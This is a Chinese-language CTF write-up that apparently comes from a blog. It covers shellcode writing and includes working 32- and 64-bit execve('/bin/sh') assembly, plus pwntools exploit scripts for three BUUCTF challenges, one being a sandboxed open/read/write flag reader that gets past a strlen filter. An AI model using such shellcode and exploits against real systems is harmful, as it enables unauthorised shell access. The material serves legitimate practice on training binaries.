shellcode 知识汇总

文章目录

  • shellcode 知识汇总
    • 1.没开沙箱(此时我们可以系统调用get shell)
      • (一)32位程序系统调用
        • picoctf_2018_shellcode
      • (二)64位程序系统调用
        • mrctf2020_shellcode
    • 2.开启沙箱(orw读flag)
      • gwctf_2019_shellcode

1.没开沙箱(此时我们可以系统调用get shell)

(一)32位程序系统调用

32位程序有别于64位程序,32位通过栈传参,我们常用的寄存器有4个数据寄存器(eax,ebx,ecx,edx),2个变址寄存器(esi,edi),2个指针寄存器(esp,ebp).
下边我们就来看一种系统调用方式及其构造:

//这是我们要构造的:
execv('/bin/sh',0,0)   //从左到右一次传参数进入ebx,ecx,edx寄存器
汇编如下:
shell = '''
push 0   // 隔开/bin/sh
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb   //execv的系统调用号为11,即0xb
int 0x80      //进入系统调用
'''

执行上述shellcode即可getshell.

picoctf_2018_shellcode

这里选取一道buuctf上的一道题目来加深一下理解
题目
检查:

保护机制都没开,很明显应该是要写shellcode
漏洞分析:
程序是不可以Ctrl+f5的,跟进发现问题在这:

如果我们控制了rax寄存器,就可以执行shellcode了,大家可以自己分析,动态调试,发现我们输入的数据正好会被传入rax寄存器中,进行执行,所以下边我们来进行shellcode的编写

#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./PicoCTF_2018_shellcode')
#io = remote('node4.buuoj.cn',28317)
io = process('./PicoCTF_2018_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')io.recvuntil('!')gdb.attach(io)shellcode = '''
push 0
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor esi,esi
mov eax, 0xb
int 0x80
'''
io.sendline(asm(shellcode))io.interactive()

(二)64位程序系统调用

64位程序通过寄存器传参,当参数少于7个时,程序将参数从左到右依次传递至rdi,rsi,rdx,rcx,r8,r9.当参数多于7个时,如下传参

    H(a, b, c, d, e, f, g, h);a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9h->8(%esp)g->(%esp)call H

64位进行系统调用:

mov rbx, 0x68732f6e69622f   //这里没有严格的传参限制,也可以传到其他寄存器中
push rbx   //将'/bin/sh'压入栈
push rsp   //压入rsp
pop rdi    //将'/bin/sh'传递给rdi
xor esi, esi   //将esi置0
xor edx, edx   //将edx置0
push 0x3b      //系统调用号
pop rax        //这里也可以直接去掉'push 0x3b;pop rax'改为mov rax, 0x3b
syscall        //系统调用

我们还是选取一道题目来加深印象

mrctf2020_shellcode

题目地址

检查:

程序分析:
程序会让我们输入0x400的字节,并通过分析会将我们输入的字节传到rax寄存器中,所以我们还是通过控制rax寄存器来执行shellcode从而get shell.

exp:

#!/usr/bin/env python
#coding=utf-8from pwn import*#io =remote("node4.buuoj.cn",25981)
io = process('./mrctf2020_shellcode')
elf = ELF('./mrctf2020_shellcode')
#libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')io.recvuntil('!')shellcode = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
#gdb.attach(io)
io.sendline(asm(shellcode))io.interactive()

2.开启沙箱(orw读flag)

gwctf_2019_shellcode

目前只做到了64位的orw题目,现在就放64位的题目啦
64位orw题目地址
例行检查:

开了canary,和pie,但没什么影响

这里是开了沙箱的,师傅们也可以进去查看,这里我就不展示了
main函数还是无法反汇编,同样问题是出在call rax

我们思路是控制rax寄存器,执行我们的shellcode,但程序里还会有一个检查机制,在is_printable函数里,

这里会有一个strlen,’/x00’截断,我们可以写shellcode时写入\x00绕过检查
剩下的思路就很简单了,系统调用open打开flag所在路径,系统调用read读flag,(我们可以选择将flag读到栈中,bss段允许的话我们也可以将其读入bss段,就这道题目而言,我将其读在了栈中,有兴趣的师傅也可以尝试将flag读在bss段中),系统调用write,写出flag

直接上exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import *
elf = ELF('./gwctf_2019_shellcode')
#io = remote('node4.buuoj.cn',25438)
io = process('./gwctf_2019_shellcode')
libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')#gdb.attach(io)
shellcode = '''
//调用open()
push 0  //绕过strlen()检查
push 0
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
//调用read()
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
//调用write()
mov rdi,1
mov rsi, rsp
mov rdx, 0xff
mov rax, 1
syscall
'''
payload = asm(shellcode)
print len(payload)io.sendline(payload)
#io.sendline('A')io.interactive()


读出了flag!!!
以上就是这段时间对shellcode题目的一些总结,师傅们轻点喷哈哈哈哈哈

一篇文章彻底清楚shellcode(精品)相关推荐

  1. 一篇文章告诉你标准化和归一化的区别?

    一篇文章告诉你标准化和归一化的区别? 2019-02-28 17:12:39 融融网融融网阅读量:484 进一步推进企业的标准化工作,使之发展水平适应经济全球化下市场竞争的要求,促进企业综合实力的提升 ...

  2. 一篇文章让你读懂Pivotal的GemFire家族产品

    一篇文章让你读懂Pivotal的GemFire家族产品 学习了:https://www.sohu.com/a/217157517_747818 转载于:https://www.cnblogs.com/ ...

  3. DEDECMS教程:上/下一篇文章标题长度的截取方法

    对dedecms了解的朋友们,想必对如何获取上一篇.下一篇文章的标签也是非常熟悉.dedecms获取上一篇.下一篇文章的标签分别为:{dede:prenext get='pre'/}.{dede:pr ...

  4. 一篇文章一张思维导图看懂Android学习最佳路线

    一篇文章一张思维导图看懂Android学习最佳路线 先上一张android开发知识点学习路线图思维导图 Android学习路线从4个阶段来对Android的学习过程做一个全面的分析:Android初级 ...

  5. UML科普文,一篇文章掌握14种UML图

    前言 上一篇文章写了一篇建造者模式,其中有几个UML类图,有的读者反馈看不懂了,我们今天就来解决一哈. 什么是UML? UML是Unified Model Language的缩写,中文是统一建模语言, ...

  6. 用一篇文章说清楚如何写作

    专门讲写作的书就有一大堆,这事能用一篇文章说清楚吗? 答案是能的,不信你往下看. 写之前要先弄清楚文章属于什么类型,类型不同写法当然不一样.以沟通为目的的文章最好写,虚构类文章不好写,因为你还要先虚构 ...

  7. 一篇文章告诉你如何成为数据科学家

    文章讲的是一篇文章告诉你如何成为数据科学家,通常来说,年轻人都很容易立志成为什么,例如成为一名科学家,然后又很快放弃.这一方面是因为摆在他们面前的诱惑太多,也因为成为一名科学家真的很不容易. 这一点放 ...

  8. Android:学习AIDL,这一篇文章就够了(下)

    前言 上一篇博文介绍了关于AIDL是什么,为什么我们需要AIDL,AIDL的语法以及如何使用AIDL等方面的知识,这一篇博文将顺着上一篇的思路往下走,接着介绍关于AIDL的一些更加深入的知识.强烈建议 ...

  9. Android:学习AIDL,这一篇文章就够了(上)

    前言 在决定用这个标题之前甚是忐忑,主要是担心自己对AIDL的理解不够深入,到时候大家看了之后说--你这是什么玩意儿,就这么点东西就敢说够了?简直是坐井观天不知所谓--那样就很尴尬了.不过又转念一想, ...

最新文章

  1. 几个Linux命令输出的各列含义
  2. 前端开发浏览器兼容问题
  3. Leetcode怎么调试java代码,IDEA2020.1使用LeetCode插件运行并调试本地样例的方法详解...
  4. Netty实例-简单的服务端-client实现,凝视具体
  5. java gb13000 ucs2_采用GB 13000的UCS-2进行存储的文件怎么转换
  6. 微信公众帐号开发教程第14篇-自定义菜单的创建及菜单事件响应
  7. audiojs--跨浏览器的HTML音频播放器(可自定义样式)
  8. excel服务器bom修改,勤哲Excel服务器物料清单BOM表的实现方法
  9. CSDN公式插入——关于对数
  10. 乱弹集锦:火柴棍艺术大神
  11. IDEA: 遇到问题Error during artifact deployment. See server log for details,解决
  12. 布道微服务_17服务调用失败的解决方案
  13. 【故障诊断】基于 KPCA 进行降维、故障检测和故障诊断研究(Matlab代码实现)
  14. 《IT老外在中国》第22期:“中国餐桌”上的法式创新
  15. 微信号名称乱码什么情况_2020最火微信号,微信号改成什么比较好?
  16. 奔跑吧恐龙----基于JavaSwing的一个跑酷游戏
  17. CGAL---点云处理
  18. SOC低功耗电路设计方法
  19. 图的存储-邻接矩阵和邻接表之间的相互转化
  20. C++四位数ABCD

热门文章

  1. 微信公众 mysql回复图片_微信公众号开发之微信公共平台消息回复类实例
  2. autocad.net将Geometry对象转换为Database对象
  3. Beta冲刺-星期四
  4. OpcEnum交互式用户不可选解决办法
  5. Python-Snappy的安装 以及报错解决
  6. python中字典的循环遍历的两种方式
  7. Arduino 无源蜂鸣器实验
  8. IOC AOP OOP拙见
  9. .metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\问题
  10. docker 配置国内镜像地址